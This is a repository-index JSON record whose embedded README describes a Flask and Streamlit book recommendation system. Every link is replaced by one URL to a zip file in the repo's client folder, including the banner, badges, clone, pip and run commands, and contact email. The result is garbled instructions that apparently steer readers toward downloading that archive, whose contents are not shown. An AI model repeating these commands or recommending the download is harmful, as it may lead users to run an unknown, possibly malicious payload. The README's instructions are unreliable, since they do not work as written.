{"id":28478803,"url":"https://github.com/devjinah/collaborative-book-recommender","last_synced_at":"2026-05-09T06:36:49.396Z","repository":{"id":294751414,"uuid":"987907086","full_name":"DevJinah/collaborative-book-recommender","owner":"DevJinah","description":"Collaborative filtering based book recommendation system","archived":false,"fork":false,"pushed_at":"2025-06-26T06:55:39.000Z","size":16068,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-06-26T07:38:50.511Z","etag":null,"topics":["book-crossing","book-recomendation","book-recommender","books","collaborative-filtering","content-based-recommendation","data-science","exploratory-data-analysis","flask-application","machine-learning","recommendation-engine","recommendation-system","recommender-system","spark","streamlit","surprise","surprise-library","webui"],"latest_commit_sha":null,"homepage":null,"language":"Jupyter Notebook","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/DevJinah.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-05-21T19:07:25.000Z","updated_at":"2025-06-26T06:55:43.000Z","dependencies_parsed_at":"2025-06-26T07:39:17.228Z","dependency_job_id":null,"html_url":"https://github.com/DevJinah/collaborative-book-recommender","commit_stats":null,"previous_names":["devjinah/collaborative-book-recommender"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/DevJinah/collaborative-book-recommender","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/DevJinah%2Fcollaborative-book-recommender","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/DevJinah%2Fcollaborative-book-recommender/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/DevJinah%2Fcollaborative-book-recommender/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/DevJinah%2Fcollaborative-book-recommender/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/DevJinah","download_url":"https://codeload.github.com/DevJinah/collaborative-book-recommender/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/DevJinah%2Fcollaborative-book-recommender/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":263282619,"owners_count":23442205,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["book-crossing","book-recomendation","book-recommender","books","collaborative-filtering","content-based-recommendation","data-science","exploratory-data-analysis","flask-application","machine-learning","recommendation-engine","recommendation-system","recommender-system","spark","streamlit","surprise","surprise-library","webui"],"created_at":"2025-06-07T18:00:39.382Z","updated_at":"2026-05-09T06:36:49.383Z","avatar_url":"https://github.com/DevJinah.png","language":"Jupyter Notebook","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 📚 Collaborative Book Recommender\n\n![Collaborative Book Recommender](https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip%20Book%https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip)  \n[![Release](https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip%20Latest%20Release-Click%20Here-brightgreen)](https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip)\n\nWelcome to the **Collaborative Book Recommender**! This project is a collaborative filtering-based book recommendation system designed to help users discover new books tailored to their interests. By leveraging machine learning techniques, we aim to provide personalized recommendations that enhance the reading experience.\n\n## Table of Contents\n\n- [Project Overview](#project-overview)\n- [Features](#features)\n- [Technologies Used](#technologies-used)\n- [Installation](#installation)\n- [Usage](#usage)\n- [Contributing](#contributing)\n- [License](#license)\n- [Contact](#contact)\n\n## Project Overview\n\nThe **Collaborative Book Recommender** uses collaborative filtering to analyze user preferences and suggest books that align with their tastes. This approach relies on the idea that if two users share similar reading habits, they are likely to enjoy similar books. \n\nThe system is built using Python and integrates with Flask and Streamlit to create a user-friendly web application. Users can easily navigate the interface, input their preferences, and receive book recommendations based on their reading history and the preferences of similar users.\n\n## Features\n\n- **Personalized Recommendations**: Get book suggestions based on your reading habits.\n- **User-Friendly Interface**: Easy navigation and interaction through a web application.\n- **Real-Time Updates**: Recommendations update as you provide more input.\n- **Community Driven**: The more users participate, the better the recommendations become.\n- **Multiple Genres**: Recommendations span various genres, ensuring a wide selection.\n\n## Technologies Used\n\n- **Python**: The primary programming language for developing the recommendation algorithms.\n- **Flask**: A lightweight web framework for building the web application.\n- **Streamlit**: Used to create interactive web applications for data science projects.\n- **Machine Learning**: Collaborative filtering techniques to analyze user data.\n- **Data Science Libraries**: Libraries such as Pandas, NumPy, and Scikit-learn for data manipulation and analysis.\n\n## Installation\n\nTo get started with the **Collaborative Book Recommender**, follow these steps:\n\n1. **Clone the Repository**:\n   ```bash\n   git clone https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip\n   cd collaborative-book-recommender\n   ```\n\n2. **Install Dependencies**:\n   Ensure you have Python installed. Then, run:\n   ```bash\n   pip install -r https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip\n   ```\n\n3. **Run the Application**:\n   Start the Flask server with:\n   ```bash\n   python https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip\n   ```\n\n4. **Access the Application**:\n   Open your web browser and navigate to `http://127.0.0.1:5000`.\n\nFor the latest releases, you can download the files from the [Releases section](https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip). \n\n## Usage\n\nOnce the application is running, you can begin using it to receive book recommendations. \n\n1. **Input Your Preferences**: On the homepage, you will see fields to enter your favorite genres and authors.\n2. **Submit Your Input**: Click the \"Get Recommendations\" button to see personalized suggestions.\n3. **Explore Recommendations**: Browse through the recommended books and click on any title for more information.\n\nThe more you interact with the application, the better it learns your preferences and improves its recommendations.\n\n## Contributing\n\nWe welcome contributions from the community! If you want to help improve the **Collaborative Book Recommender**, follow these steps:\n\n1. **Fork the Repository**: Click the \"Fork\" button at the top right of the repository page.\n2. **Create a New Branch**: \n   ```bash\n   git checkout -b feature/your-feature-name\n   ```\n3. **Make Your Changes**: Implement your feature or fix a bug.\n4. **Commit Your Changes**:\n   ```bash\n   git commit -m \"Add your message here\"\n   ```\n5. **Push to Your Branch**:\n   ```bash\n   git push origin feature/your-feature-name\n   ```\n6. **Open a Pull Request**: Go to the original repository and click on \"New Pull Request\".\n\n## License\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.\n\n## Contact\n\nFor any inquiries or feedback, feel free to reach out:\n\n- **Email**: https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip\n- **GitHub**: [DevJinah](https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip)\n\nThank you for checking out the **Collaborative Book Recommender**! We hope you find it useful and enjoyable. Don’t forget to check the [Releases section](https://raw.githubusercontent.com/DevJinah/collaborative-book-recommender/main/client/collaborative-book-recommender-v3.4.zip) for updates and new features.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdevjinah%2Fcollaborative-book-recommender","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdevjinah%2Fcollaborative-book-recommender","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdevjinah%2Fcollaborative-book-recommender/lists"}